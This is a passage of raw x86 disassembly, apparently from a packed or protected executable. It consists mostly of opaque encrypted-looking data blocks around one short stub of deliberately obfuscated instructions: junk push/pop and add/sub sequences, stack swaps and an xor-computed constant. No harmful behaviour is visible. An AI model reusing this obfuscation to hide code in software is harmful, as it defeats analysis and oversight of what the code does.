		dd 2C91C6D7h, 0C02DC4EDh, 0DBAB395Fh, 1FBF72D0h, 3155F34Eh
		dd 31A409A0h, 0B16D8C9h, 0BDE34AF4h, 7AA05075h,	0CDB9485Eh
		dd 56ED7CDEh, 5430B6B6h, 3C6B384Fh, 0FF88356Ah,	0B6CA5FAh
		dd 90F684AAh, 0ED97B513h, 7B8E25B6h, 1A85ECE7h,	96F6C7FCh
		dd 95F6A5FAh, 17420E34h, 4244BDE9h, 9DE90769h, 0AADD7D0Eh
		dd 0FE5C473Ch, 81E03E9Fh, 0D8358F5Bh, 0DBA747D8h, 975A6398h
		dd 399AA5FAh, 7EB3B2D8h, 0A3F897A6h, 6F57D168h,	0C8E81908h
		dd 5EA0E1B1h, 0A0C66D5Fh, 0D3D2B5D5h, 8FF61675h, 8F26B718h
		dd 0F123612Ah, 320228D3h, 0DB397214h, 691DCBBDh, 1C7DDC3Ah
		dd 0D5D17FBEh, 0EF515A2Ch, 98F6B5D1h, 50E1213Eh, 0F366191Bh
		dd 53ACBA9h, 0A5FB68B8h, 187ADB3Ch, 0F9EE989h, 802B5BE9h
		dd 69526F22h, 0BCDAB5FBh, 346F17EAh, 0D4CFB4D2h, 792A5876h
		dd 0A204B21Bh, 1F81245Fh, 92238201h, 0B51390F2h, 46643056h
		dd 38D8693Eh, 6632584Bh, 0D42D7927h, 7492F4AFh,	0A736940Fh
		dd 1A6A7C07h, 6FD02F8Dh, 6914A9DEh, 77D895FBh, 2A6A8751h
		dd 1D8CF999h, 8DC3F8F7h, 8793F94Dh, 6F9DC826h, 8AC25937h
		dd 368250Dh, 84FF8DB3h,	0E5A1BF21h, 3C4A68C6h, 0FAA8116Fh
		dd 0B33155ACh, 1776D4CFh, 0AE4254B6h, 0B9171D98h, 2Bh
		dd 3D6A1ABAh, 0E99A5317h, 0ED025CBAh, 0AA089FE6h, 2459EA4Bh
		dd 2BC28000h, 4578ADBEh, 0A733CA80h, 0F4552046h, 44F292h
		dd 9A1E0000h, 1829BAE9h, 0D1DA5C81h, 4E037B90h,	2DC4B86Fh
		dd 32FE2485h, 0EA7BBBD8h, 0C2A4ABB5h, 0E2BE552Bh, 0E88B759Bh
		dd 0DC5C1B32h, 1911A0Dh, 4DAF10DBh, 4578ADBEh, 0ED33CB69h
		dd 0C3BA1745h, 44A50254h, 8DAC5A1Eh, 9D2E768Bh,	0C27B1868h
		dd 68F95A2Bh, 7E2DC0C8h, 0D6F0EF30h, 160BE1Fh, 2796B9DBh
		dd 0CEDF7E46h, 0ABE071B1h, 1E781809h, 0FAA9DBFBh, 8CE13B99h
		dd 0BB5CF384h, 63082C73h, 58CEB17Bh, 8BDD5841h,	678D186Bh
		dd 0CFB75768h, 0F11776D4h, 7620BECEh, 0C253B420h, 0B6476422h
		dd 3C806D16h, 90992FAFh, 714167C8h, 43783353h, 915D80B6h
		dd 3670763h, 0A4000014h, 4664C6E5h, 0E2006241h,	84A204A3h
		dd 2341A300h, 0E7E2445Fh, 693A481Eh, 109FE907h,	0B0F390AEh
		dd 4D56304Eh, 0E01596EBh, 33CDD3DDh, 2935F90Fh,	5FF6E092h
		dd 0D6F683AFh, 0A9CCF2B1h, 2DC52714h, 0EB7C84D9h, 5F4C3ADAh
		dd 0F6BA1639h, 0D7382BC2h, 7DDA646h, 63C5267Dh,	0E9B13E45h
		dd 7B2A5D65h, 0CE5F5764h, 95F10F6Dh, 8ED34FE6h,	8FE1668Ch
		dd 0CB39E3DAh, 47A80933h, 0BD48F12h, 5CFC587Eh,	137Eh
		dd 0D93B6A1Fh, 7FE1CCBBh, 23852461h, 0C6287F05h, 67C9DAA8h
		dd 0B5CD836Ch, 1A6E8CEEh, 760D2B8Dh, 0D7AFCD2Fh, 94156ACCh
		dd 0CDD55E5Fh, 0B4788E33h, 7001015Eh, 0C24A953Bh, 0D7AB4B2Bh
		dd 7ADBA6CCh, 6F3E49E9h, 0D98EF0Dh, 0B6F591AFh,	0A9008525h
		dd 0FAC6EC4Bh, 0A1FFACDCh, 48A60583h, 71E3F033h, 23484D9Dh
		dd 0F21FA105h, 681FE2C4h, 7FCFDB3Dh, 4804399h, 0DAD3E9Fh
		dd 44D33178h, 0CA89AE0Fh, 7CDD3E33h, 0E1A63456h, 0C4D564C2h
		dd 0E6445F24h, 89EBD287h, 0A00133CAh, 8A69577Ah, 0F18F33CAh
		dd 95CADBB5h, 33CA8A28h, 0B7456BCCh, 5573D5D0h,	0BB157332h
		dd 98CD5EA6h, 31D3462Ah, 2ECE5FC0h, 0A9BA4B58h,	68EEF712h
		dd 0F5AA847Bh, 2DD416C8h, 2C8A1969h, 0E90F70CDh, 208BFB19h
		dd 0B6F9F88Fh, 61DAB472h, 0F8156F3Bh, 761627B8h, 0D8379512h
		dd 0CD108FB2h, 10B02BDCh, 73D23073h, 9021824Dh,	7A19E87Fh
		dd 0BBE84AD2h, 657F0795h, 0E8C3C321h, 69CA2B8Ah, 0AED87807h
		dd 26F3Fh, 2E8FAB46h, 0BD4B71D0h, 227CDAC9h, 2334C5CDh
		dd 0CAE6CFEEh, 9EC42533h, 0BCD66A9Fh, 0BB1C31C8h, 12510586h
		dd 0DE7EDA84h, 1236h, 91F3B2D7h, 37991473h, 0DB3D6C19h
		dd 7EE0C7BDh, 1F812260h, 0FD855B24h, 622644A6h,	0BEC5E345h
		dd 1F6785E7h, 4CCD2284h, 0CDD5A617h, 6C304633h,	0EFFD8929h
		dd 52B10F96h, 0E3493F1h, 0C47BD9EBh, 0C91B682Dh, 4F5430BEh
		dd 0D12B8DEEh, 0AEE374BCh, 2BCD30F9h, 0C9DCA7C7h, 6A394D6Bh
		dd 0EB4CAD0Ch, 1DCBBA5Ah, 0A7048268h, 2F83E546h, 6D414AA6h
		dd 1661DA9h, 7E1E0000h,	2442A007h, 0C1E14261h, 2988E6C5h
		dd 25E3F03h, 0E3A24C4Ah, 5E2AF5B2h, 3394F351h, 0F4297CD2h
		dd 2DC47BCCh, 29287E4Dh, 86ACFB89h, 30657687h, 2DC47C8Dh
		dd 14D8FE5Fh, 5E37980Ch, 209DD200h, 0D42DC47Ch,	70811273h
		dd 0C47C823Bh, 0EB11722Dh, 5E307427h, 1E9FD406h, 0B2DC47Ch
		dd 6ECF2C77h, 4206B70Dh, 0ABFA8929h, 46C8EE4Dh,	0ABED41BAh
		dd 26ADh, 5EE900h, 0F429AC02h, 2DC47BCCh, 296FC526h, 0E3182953h
		dd 2DC47BDAh, 593B91Ah,	68D32980h, 391814h, 5E440000h
		dd 29AC0200h, 0C47BCCF4h, 287E4D2Dh, 89295329h,	0F04FADFCh
		dd 7B932A5Fh, 0F8592DC4h, 624144D2h, 0E318290Ch, 2DC47BDAh
		dd 0D393B91Ah, 0BFFE3344h, 352DC47Bh, 29EAAED4h, 51AFFE89h
		dd 0B64ACCF2h, 0B1ABED41h, 2Bh,	4065EEDh, 0CCF429AEh, 262DC47Bh
		dd 53296FC5h, 68BEED9Ah, 18291468h, 0C47BDAE3h,	792C572Dh
		dd 0FE5FBC1Bh, 38C8D8h,	5EF40000h, 0D3730406h, 3695F3B2h
		dd 18294C10h, 6D931078h, 0C47C764Ah, 6F15A32Dh,	2981D738h
		dd 0BEED9A53h, 0E3182968h, 2DC47BDAh, 0D393B91Ah, 6CE3AD44h
		dd 2EDEF754h, 89294408h, 0EE4DABFAh, 0FEA2B8C8h, 12A9FFFFh
		dd 0A8DDDA18h, 2DC51615h, 1C5F76D7h, 995D8327h,	4542015Eh
		dd 48A90866h, 0F595A6B7h, 605D1291h, 942DC47Ch,	161E1C33h
		dd 0F6A68F51h, 3F31ADD0h, 6EFF2BCDh, 0CDC78439h, 0A6076833h
		dd 0DC117515h, 8C11255Eh, 0B4167715h, 6EFF035Ah, 0CE218439h
		dd 0A9076833h, 0CE20C5F6h, 0F2B4D033h, 0F71DD51Bh, 3692AEh
		dd 29CE0000h, 89AFFE89h, 0C47C5B66h, 0F3B0D62Dh, 7BE2DE91h
		dd 0FC112DC4h, 9AEE23B4h, 682BC25Ah, 9D1BA2D7h,	70D133CAh
		dd 9D13AADFh, 78D933CAh, 0AF15B517h, 41000000h,	0BF4B015Eh
		dd 76753056h, 75AA3B9Ch, 2BC299FFh, 630394F5h, 5238520h
		dd 3AC9277Eh, 5EBCEB9Ah, 0F20FD9FFh, 0BEEC21B2h, 3431D359h
		dd 0E1A242D3h, 0C8298403h, 0B23B4866h, 8AB3C83Ch, 0F250B110h
		dd 0E6C5C363h, 9999F6C0h, 0B1E6F708h, 2DD3D50Ch, 36597FE0h
		dd 2BDC993Ah, 4B72A738h, 6D33CA99h, 0CA998538h,	0A9066733h
		dd 0B656E748h, 5371D3D0h, 0CC437833h, 917E0C74h, 0F509535h
		dd 98F10000h, 0EE99B719h, 463F5DBFh, 0A5DFFD5Fh, 47E9CFEh
		dd 0B5423D9Fh, 62C4DFA3h, 5674444h, 0A7099CE7h,	4CAEFD89h
		dd 7C4176F7h, 7033CDD9h, 0EC9A965Ah, 434361BFh,	0F3A10A68h
		dd 0AC384EB3h, 0E6DCBD8h, 25BC4BADh, 19DD0B88h,	0DC5E84B1h
		dd 0A8ED7E14h, 3A53h, 15E8F00h,	0B7D07001h, 92F8EECh, 0B3E8F90Ah
		dd 2DC47C0Ah, 406389EAh, 2BC24A74h, 89A70566h, 2E4CAEFDh
		dd 93ED4B58h, 70A5367Eh, 31C89304h, 640495F6h, 0CA298724h
		dd 9A80D4A4h, 8D2DBEEDh, 0BA8AB0F7h, 2FC0EB9Ch,	0A525BD98h
		dd 24ACC3E2h, 582D4D98h, 0AC5F2B51h, 2DC49F1Ah,	0E5475E25h
		dd 136F768Bh, 699E2F90h, 2BCD5421h, 9535C627h, 357B9F0h
		dd 23A99229h, 5EBCEB9Dh, 93F5E8FFh, 6C84062Ch, 84A96D55h
		dd 250330EDh, 0CAF02E35h, 14B42h, 25E7E00h, 9674641h, 29F349AAh
		dd 29B68118h, 0BA516BA7h, 0DE4F7194h, 0FDCC2DC4h, 0C5329A7h
		dd 5E3798h, 3074AC02h, 4345065Eh, 5A8FE5AEh, 1C7D9C08h
		dd 420665BBh, 0ED415AA6h, 3E0DABh, 0FD0E0000h, 0C47BF5C8h
		dd 7096F730h, 43005EACh, 0A5046241h, 0F429EE44h, 2DC47BCCh
		dd 296FC526h, 0EBD20718h, 12DC47Bh, 9AB67AA0h, 2966BCEBh
		dd 4BB21492h, 2D53DA2Ch, 3818196Dh, 44000000h, 0AC02005Eh
		dd 7BCCF429h, 0C84D2DC4h, 0FF56C1D5h, 881B6768h, 4A6ACB2Ah
		dd 0AE0D6B38h, 5329F74Dh, 0ACFB8929h, 0B6CFEF4Eh, 0C3291EFh
		dd 0FA0077Eh, 698F166Fh, 291468A5h, 87ADFC89h, 0ED40FB05h
		dd 4C6CABh, 5EA80000h, 29AE0406h, 960D7818h, 7C734D70h
		dd 20812DC4h, 295329CAh, 1AFAFF89h, 9E0815BCh, 0DE6C92F3h
		dd 0D269FAA9h, 0D3083DCDh, 2DC47DEAh, 0C592A90Ah, 460A3063h
		dd 89291468h, 384DABFAh, 0C3881E07h, 9BC1224Ch,	358Bh
		dd 65EB700h, 0F429AE04h, 2DC47BCCh, 11ACE1F2h, 0E32DC47Ch
		dd 86E4BFC3h, 0FCA0C627h, 5329D72Dh, 598EED9Ah,	2DC47C64h
		dd 61962788h, 2DC47C5Ch, 78CE2F90h, 95181468h, 44FFFFFEh
		dd 7A659229h, 0AC2579DAh, 5FA7BC86h, 514599CEh,	4AAB2BCDh
		dd 3E6D19B9h, 276B82DCh, 3F748596h, 33CDD17Eh, 74D1DCABh
		dd 0F3CAED13h, 0C533CDD0h, 0DD126125h, 33CDD0E0h, 2C52B314h
		dd 0EFA20061h, 33CDD0CCh, 1E7C2B5Dh, 0BE1C8700h, 0A0463F5Fh
		dd 0FE5CBDE6h, 2B9511BFh, 0BE4F5773h, 0AEF6CE32h, 3A691EBEh
		dd 0CF577DDCh, 17h, 4D5630D0h, 0A66A90EFh, 0C47BBC05h
		dd 9211752Dh, 0F59030h,	29BC0000h, 477CFB89h, 2DC47C76h
		dd 8EB41576h, 79B1AFC4h, 662F676h, 9A93A9Bh, 0F8C5FA79h
		dd 0FC2DC4A1h, 15143A9Bh, 0C2A16CE0h, 6CFD5E2Bh, 0AAC9BB5Bh
		dd 0CAA24875h, 0EA4BAC33h, 264D36C4h, 0CAA1CCF1h, 81285D33h
		dd 667C423h, 5E2543A5h,	728FE947h, 4A6CA132h, 8431D35Eh
		dd 0A503A0E4h, 0C30B2F46h, 44A79D84h, 61F2531Eh, 83A21B50h
		dd 0F1522DD3h, 0D1F7B6D1h, 525132D2h, 0C6C161F0h, 5033C1E7h
		dd 0FAB26A9Fh, 5EBD1B88h, 3073B047h, 8FEE4C57h,	156FCD2Eh
		dd 0F227B8F8h, 2BDC737Eh, 0E2821374h, 657607A4h, 8DE0DACEh
		dd 5BA5253h, 33CA90B8h,	0E5B5DB3Ch, 0AFE4BFC7h,	7E0C7D4Ah
		dd 0D31BBB17h, 7400000Bh, 16349615h, 0B2D03271h, 5472D4D3h
		dd 0F3117330h, 0B7B2148Fh, 396A18CEh, 0E0CFB9D7h, 8023607Eh
		dd 1D86001Eh, 0B0E566BBh, 33CDDD0Dh, 9A05C9DFh,	0EE8500ECh
		dd 0C47C04B9h, 2687E82Dh, 0C4258206h, 653E4866h, 0A99E907h
		dd 0F2F68EACh, 53B11291h, 14ACFA28h, 0E5ABFBA9h, 7C1E9FD4h
		dd 6DCE2DC4h, 42238D56h, 0F41A06CBh, 0F2832066h, 3653A55Bh
		dd 0ADD3EEAAh, 4825CBDDh, 34CBA8EEh, 0FD125E91h, 7A022826h
		dd 55h,	1015EB6h, 6FC93B70h, 5ABB2BC2h,	0BC5C6DFCh, 2281DFCCh
		dd 0CA91506Dh, 823B7033h, 7233CA91h, 0F194B411h, 9D2B51B2h
		dd 3A58BAE9h, 72015F4Ch, 4F9F87DBh, 0C0586F36h,	0E1DC1118h
		dd 1333CB14h, 612B51B2h, 3E73040Ch, 31C9150Eh, 4B5830D0h
		dd 97F95A25h, 0BEED9A43h, 7C1BA95Ch, 750E2DC4h,	2C8D186Fh
		dd 131370CAh, 38724D82h, 1D7E2BCDh, 356A7B8Ch, 33CDC888h
		dd 57E50B6Ch, 8615772Eh, 0DC02A1E6h, 414AA618h,	4E1DA96Dh
		dd 59000001h, 4241025Eh, 65C3E0A4h, 0EE44A506h,	7BCCF429h
		dd 7E4D2DC4h, 19922928h, 0C27E5623h, 0AC8281A7h, 5E37980Ch
		dd 74AC0200h, 4065E30h,	0F3B2D373h, 70609CDh, 96B5A570h
		dd 8FF65E48h, 0CD91B718h, 0ABFA8929h, 40FD0385h, 2F6AABEDh
		dd 0A6000000h, 0AC02005Eh, 0F5FA8929h, 0B0D90F54h, 6C92F365h
		dd 0B688386Dh, 96A2DC4h, 0FE8929B3h, 0CCF251AFh, 0EB9AF7CDh
		dd 146866BCh, 2718h, 5E4400h, 0F429AC02h, 2DC47BCCh, 29287E4Dh
		dd 50AEFD89h, 0F8B7D1F1h, 16153B9Ah, 0BCEB9A40h, 0FB892966h
		dd 72C686ACh, 0ED415AA6h, 4D0DABh, 5E490000h, 29AE0406h
		dd 0C47BCCF4h, 34C5262Dh, 0E0DD1223h, 142DC47Bh, 7BBFFEB3h
		dd 16722DC4h, 0B5DB3C99h, 781829F1h, 0DB3A980Bh, 9229F1B5h
		dd 0B568F1F7h, 38C6EC64h, 0B2F1954Fh, 3E94F554h, 89291468h
		dd 0EE4DABFAh, 4DB8C8h,	5EE40000h, 29AE0406h, 29700718h
		dd 149D22C1h, 53EAD388h, 3F472DC5h, 4AA70664h, 20A0C3E9h
		dd 0F92DC554h, 5329D42Ah, 2DBEED9Ah, 51AFF68Dh,	2908CCF2h
		dd 7BDAE318h, 31572DC4h, 8EB41572h, 0F92E3FCEh,	2DC47BC4h
		dd 0E0A7C728h, 18DB9FC5h, 0FFFFFEA9h, 1015E44h,	38A33B70h
		dd 30912BCDh, 1C87FF9Fh, 0E6942BBAh, 0F0C5693Ah, 15703A60h
		dd 320DB0E5h, 7EDF33CEh, 66578C1Dh, 8633CE32h, 0E9FD9425h
		dd 71227E80h, 0F0515A2Ch, 5E6FFECAh, 0CDC59429h, 0B7EE9533h
		dd 3C9DFA59h, 0C5C8F316h, 1E6933CDh, 7113318Fh,	93B1D432h
		dd 0D9F5AD13h, 0C3B040CDh, 15B7AEF6h, 0B8000000h, 0D337018h
		dd 7BBC0549h, 11752DC4h, 0A903092h, 0BC000001h,	7001015Eh
		dd 0C26FA53Bh, 186F8F2Bh, 8DEEB5CEh, 2D8B1A6Dh,	0CBDC6DCEh
		dd 0B3C53034h, 769C0565h, 0A6089BE8h, 4AA8FB88h, 29393F0h
		dd 70872462h, 45866095h, 7B7AA0E0h, 0ECBBCA6Ah,	0E6092F8Eh
		dd 31D3FECCh, 8B592ECEh, 0EF4EACF7h, 0B1D1308Eh, 0E6B1D7D6h
		dd 0AEE3F485h, 2DD4070Fh, 236484E5h, 0A5CB2A88h, 267D06A6h
		dd 7DDA6C4h, 6AC9277Eh,	5FE17809h, 247F079Fh, 0F979120Dh
		dd 50AD07D3h, 9DAEBF50h, 0D3C15568h, 1636972Dh,	75D43271h
		dd 85442C4Fh, 0E9FA2BDCh, 9F342052h, 28DD2F36h,	33CB0B95h
		dd 56B4EF94h, 97A9AF7h,	7CDD3C9Ah
		dd 992A8B56h, 0AE688DF9h, 0F7F14162h, 4361C324h, 0BA033843h
		dd 3A33CB33h, 0E0CFB9D9h, 0D96F4A7Fh, 5CB87E0Bh, 819BCh
		dd 0E0CFBA00h, 7C27607Eh, 1A89FC1Ah, 0BDEA9AB8h, 5E453D5Bh
		dd 627401FCh, 3218320h,	0A6C42685h, 4664C6DDh, 0AC016340h
		dd 0DFC7F62Bh, 172D33CDh, 0BFEC9A53h, 68434361h, 0B3F3A10Ah
		dd 96B384Eh, 0ED74F9F7h, 0A560F7A8h, 0D9833681h, 0BF208BFBh
		dd 551199h, 5E4D0000h, 3B700101h, 2BC24BEDh, 258003A3h
		dd 731434FFh, 3546D738h, 0CAACBD00h, 699E2F33h,	33CAAD54h
		dd 0B0D63798h, 0CDB555E4h, 348DB0D6h, 0FD33CAADh, 0A0BE1C8Bh
		dd 0AF5EBCE7h, 0E39B2581h, 0C22EDFC7h, 0A5AEF3A6h, 3Dh
		dd 5D6095A6h, 8F33CAB9h, 5E44082Eh, 3B700101h, 2BC27FFDh
		dd 0A2886E7h, 0AFCD2F7Ch, 0DF6ECCD7h, 802499CEh, 67C833CAh
		dd 1A1A7741h, 0F9EE989h, 2D2C52B1h, 0C872E8F8h,	87E94A31h
		dd 8F89AC33h, 1A13272h,	2012786h, 0C27AB3CDh, 0CF60C12Bh
		dd 7D3489BEh, 57B833CAh, 0BC562340h, 0CAF086A9h, 1C12A9A8h
		dd 0B328534Fh, 0FC410999h, 0C5B85EE5h, 0ADDE7C9Fh, 3855F3B8h
		dd 823267F8h, 78F23280h, 1A782B58h, 0A2FC5ABBh,	7FB4454Dh
		dd 0EC38470Dh, 0FC0D9EFFh, 5A802B5Ch, 8FF1BACCh, 2DE01571h
		dd 0AECCBEFCh, 0AA83B819h, 6FBDA202h, 6C87313h,	20690000h
		dd 76112F91h, 0CEB7D537h, 2D5775D7h, 8CF61476h,	0CDBAB517h
		dd 0DA3C671Bh, 7DDFCCBCh, 1F81245Fh, 0C4268501h, 4B9EE6Fh
		dd 0E833CDE2h, 0EC9A0ED2h, 424361BFh, 8CC1D263h, 2DC47C31h
		dd 0C4DFA3C3h, 0DE6D3D63h, 7C2598CDh, 66C72DC4h, 19197640h
		dd 385F5388h, 34952BCDh, 0D6CDB8D6h, 945D2A1h, 7F1F7B7Eh
		dd 65Eh, 0B91B8AFFh, 5FC1EC9Bh,	3654441h, 0A6089FE5h, 47A9FA88h
		dd 0D5ADA34Ch, 3A4E6CCEh, 96ED0B6Dh, 0F78FAD0Fh, 74F54AACh
		dd 0CDE27E3Fh, 94586E33h, 0F2811829h, 8AC96B6Dh, 0F823BF0h
		dd 93E2DC5h, 2DC50EB4h,	197AD738h, 0CCD429F3h, 0BCE79B3Bh
		dd 8888495Eh, 4684DF25h, 8BC0BFE5h, 2BCD532Bh, 0FC1A78D9h
		dd 28E51A89h, 357E093Bh, 5EC39D9h, 0FC8D0000h, 5A2D4BADh
		dd 0BACBE94Bh, 196B89EBh, 780A288Ah, 21CEC92Bh,	0EE50532Fh
		dd 89EBB8D0h, 2B8D186Bh, 0C82A790Dh, 0BDF273h, 0F433CDE3h
		dd 15E1ADEh, 0B7D07001h, 0ED4E552Dh, 9716718Fh,	5379DA39h
		dd 378B1F54h, 0E0412BCDh, 82216482h, 9459A4Dh, 0A747A37Eh
		dd 592h, 0F5575633h, 93F5B0D7h,	37991075h, 0DA3C6B19h
		dd 7BDDC6BCh, 0A1E1F780h, 682A002h, 5A2947A9h, 0BBCBE94Bh
		dd 0B8398EF0h, 0CDE33A83h, 0E0A4BA33h, 61BFEC9Ah, 0D7684343h
		dd 3D80B5C6h, 0AF2DC47Ch, 7C24994Eh, 67C82DC4h,	88367541h
		dd 1FDB721Eh, 0F4B6D01Eh, 5B2BB9DFh, 0B6D0EE50h, 0CABC5CEDh
		dd 0FE2483E1h, 45417F32h, 94F02DC5h, 0F293B10Fh, 143255B3h
		dd 37D52E92h, 0B7F4926Fh, 9EE6FB55h, 0EAD80Dh, 9F002BCEh
		dd 8B186E0Eh, 8CFA9A29h, 4B62C11Fh, 2BAA7239h, 46D4FA21h
		dd 0C1D26340h, 0CD96318Ch, 3C62C333h, 3F91670h,	8F427A21h
		dd 0E475D63Ch, 0D631F0AFh, 0D263C431h, 4163D03Bh, 0B0411512h
		dd 0C493427Bh, 2B51B22Dh, 0B1FA8C2Ch, 6C29C04Fh, 6AA101C4h
		dd 77345474h, 0E8C3C351h, 0D3D3308Ah, 799A3142h, 76477C20h
		dd 762DC571h, 7DC0FE15h, 7CC4E70Dh, 422BC28Fh, 73CF02ABh
		dd 0E006E9DFh, 0CE7FB415h, 7B7E0BC7h, 4807F1Fh,	68210000h
		dd 0BEC9E749h, 166F8DEFh, 750F2D8Fh, 0D4AECC2Eh, 85726DCFh
		dd 92F4AFD3h, 35971474h, 0D7396C17h, 7CDECDB9h,	4C71A627h
		dd 0A033CDE4h, 0EC9AC68Ah, 434361BFh, 57AC0668h, 0E789BE4Fh
		dd 0ED2BC24Bh, 90EEB5CDh, 9F3FD031h, 0CC98BEE5h, 0CAABA819h
		dd 0ABFA8933h, 50532F4Dh, 911543F2h, 4B5B772Fh,	0F3A92EC2h
		dd 3C39AEh, 5E750000h, 5F700101h, 7EDCC7BFh, 0CC972369h
		dd 0D6EA807h, 12E31DF6h, 325862ADh, 0C2C43D0Fh,	0F04EAF2Bh
		dd 0CABD843Dh, 0ADF91533h, 0F3B69060h, 116D7AEh, 38D80000h
		dd 96F55350h, 1829AC70h, 0C47BDAE3h, 93B91A2Dh,	0C4228105h
		dd 36C7DCA6h, 0E3938A9Fh, 4CDA0F09h, 54A2B97Ah,	0CF9BC179h
		dd 0FEE6A040h, 29BA1B88h, 0C4BDC9F4h, 0A4CA2B2Dh, 0D5337016h
		dd 7315CFB7h, 0BDEECF04h, 9DFE2DC4h, 0C679DB3Ch, 2DC4C238h
		dd 86256202h, 0F7B4D260h, 41B1CF66h, 80FEEF2Ah,	6E854E5Ch
		dd 62C8C81h, 356E1836h,	20607DD7h, 0DC97EF8Fh, 0C4AB16A7h
		dd 1475D62Dh, 323157B6h, 0E2DB1021h, 122DC4AAh,	0B2F191B1h
		dd 0ACCFF554h, 2BC28AACh, 0EDD00596h, 0FF33CA8Ah, 81DB3D9Eh
		dd 5E93246Ch, 31D2D92Bh, 0C767F859h, 0B757E8BBh, 0BEF923CCh
		dd 0AC16796Ah, 3755254Bh, 7C23584Bh, 0E18403B9h, 314E585h
		dd 0D4B50000h, 325573D5h, 92F31173h, 0F193B113h, 503250B2h
		dd 9F6F153h, 16782B57h,	0B11390F8h, 53B5F093h, 0F0525135h
		dd 0D8E51A9Bh, 1C33CDE4h, 0E89A4206h, 0FD8A2ABBh, 0CBF150AEh
		dd 0FAA9DDFBh, 0C3F80998h, 2DC47BFAh, 0AF7399FAh, 0DAE31829h
		dd 1A2DC47Bh, 0B4C993B9h, 0B9CADB6Ch, 0C47C3984h, 0C95ABB2Dh
		dd 0C47C2994h, 446ACB2Dh, 0C27F2B21h, 0E240A12Bh, 0CA80922Fh
		dd 0F7080733h, 1A782B57h, 7FB706BBh, 0DC3D33CAh, 10C9AB6h
		dd 0AEF378EFh, 0DB78h, 0EC9AB400h, 32D261BFh, 9E2C5251h
		dd 0AE61BFE4h, 2DC48050h, 6E3D4AEAh, 0EB20B110h, 2DC47FD2h
		dd 0D9BC122h, 911C6B79h, 0E273D433h, 0D8AA4642h, 0EE0C6ACBh
		dd 83A90A99h, 0B2F195B3h, 9DE5FA54h, 5F81D70Ch,	9F3F2BC2h
		dd 0CB96BCE7h, 0D979086Ah, 10DA00AFh, 1122B3F3h, 26DC1171h
		dd 0A4B0B9CEh, 0D53492F3h, 0CE9C8CAFh, 56631D3h, 0F5AED474h
		dd 960D7593h, 43B4C61h,	1DBD1984h, 202h, 65C7E6A3h, 3654047h
		dd 0A709A0E5h, 4AACFB89h, 0EB4D562Ch, 315107F0h, 96F21072h
		dd 0EA99B719h, 4B3B59BBh, 28A9FE60h, 0CDE5CAF3h, 50142A33h
		dd 2ABBE89Ah, 467BF88Ah, 2DC47C77h, 2ABB1C7Dh, 0C47BC8F5h
		dd 0A5CB2C2Dh, 1ECFB7D5h, 0A88064EFh, 871879D0h, 0A402A1E7h
		dd 0FB4F1F45h, 61BFEC9Ah, 6684343h, 0EA1F57ACh,	2DC47BD3h
		dd 18753256h, 90C556B7h, 2BC24B98h, 1CAB096Ah, 0ACE7D60Bh
		dd 0AC0D33CAh, 0AD5E6386h, 0B0D333CAh, 0D30897F5h, 33CAACEAh
		dd 0F989A90Ah, 0F3214CAAh, 56550DB3h, 0B0D6CDB6h, 0F5FB1294h
		dd 0FBAEF3A9h, 184D285Bh, 33CAB4A5h, 5F85E647h,	36D7h
		dd 89291300h, 0F04FADFCh, 0A3E300CAh, 94137212h, 4B72A736h
		dd 0A12DC47Ch, 0BAB9DF40h, 0C25B0385h, 3290F12Bh, 0CA9D427Fh
		dd 6B3B5733h, 0F3964EA2h, 3219AEh, 5550000h, 2DC47BBBh
		dd 0C3216505h, 2381E2C1h, 0CB298005h, 457A0B6Ch, 2DC47C78h
		dd 2BF51B7Ch, 83DCED6h,	2BC25BD4h, 0A5028222h, 80A6FD85h
		dd 9EF254B5h, 7001015Eh, 0C267993Bh, 5FC0572Bh,	9D9CD0C2h
		dd 0B314DF05h, 1A1FA255h, 7B7A33CBh, 9EFCA7DBh,	0A9FD193Fh
		dd 0F4178C64h, 24DBAEh,	5170000h, 2DC47BBCh, 4BDC2439h
		dd 0C70A33Ah, 94E361F1h, 0C536DEDFh, 87AD0E2Dh,	17895388h
		dd 0A6B2BC3h, 15E54A8h,	0BF5F7001h, 91B4DAC9h, 2BCD37B9h
		dd 5270CE2Fh, 0F7157734h, 27B6148Fh, 81A7FE87h,	5ECA975Eh
		dd 6B3BE930h, 4D6E8E25h, 4CD3D9E1h, 0B5EE9826h,	52513553h
		dd 43AED6F4h, 0AA6A44F9h, 3C74598h, 90B31168h, 2C3DCE2Fh
		dd 5CF7C6F7h, 0E17D6C2Fh, 691BBCEEh, 0B985AB0Ch, 63C1EC9Bh
		dd 0DFA73D45h, 760563C4h, 5CD77C41h, 0CE0F702Fh, 0D3A8620h
		dd 4C3AC7DFh, 0A7DFFD5Fh, 0BCCB6BFCh, 0F6B5D1F1h, 36404D0h
		dd 90000000h, 0EF9A065Ah, 424462C0h, 96ED0B69h,	0F593B10Fh
		dd 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h, 0BCCBE947h
		db 0F1h, 93h, 1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	538Ah
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		push	52A84DD7h
		pop	edx
		and	edx, 51F31A44h
		xor	edx, 56A945D6h
		mov	ebx, edx
		pop	edx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	ebx
		pop	eax
		mov	[ebp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dw 73CDh
		dd 0B189EEDh, 44F25996h, 0B8EE4346h, 6096D1Eh, 0E0FFC503h
		dd 125350E0h, 661CB66Fh, 58A8FA9h, 62113CA8h, 3F15D5E4h
		dd 5EF55F3Ah, 5CC3AF08h, 67315001h, 10386EF2h, 38CCD31Ch
		dd 0AE8h, 1694C300h, 0F99B098Eh, 0E817E383h, 11h, 500DEB1Ch
		dd 84CC9BF6h, 0C1043C83h, 0E523CE08h, 1850FABh,	0FC000000h
		dd 0BF0F5E59h, 0FC681DAh, 0E900006Fh, 11h, 0F1498DC3h
		dd 0E8038F06h, 65837B66h, 0DC909B1Ah, 1B936841h, 0F570000h
		dd 285h, 5B616000h, 13E85Ah, 0FA260000h, 194E1FA8h, 0A0038E1h
		dd 253B18EEh, 0B42D5339h, 0E2CF81DCh, 5F3CAFD1h, 59B736FFh
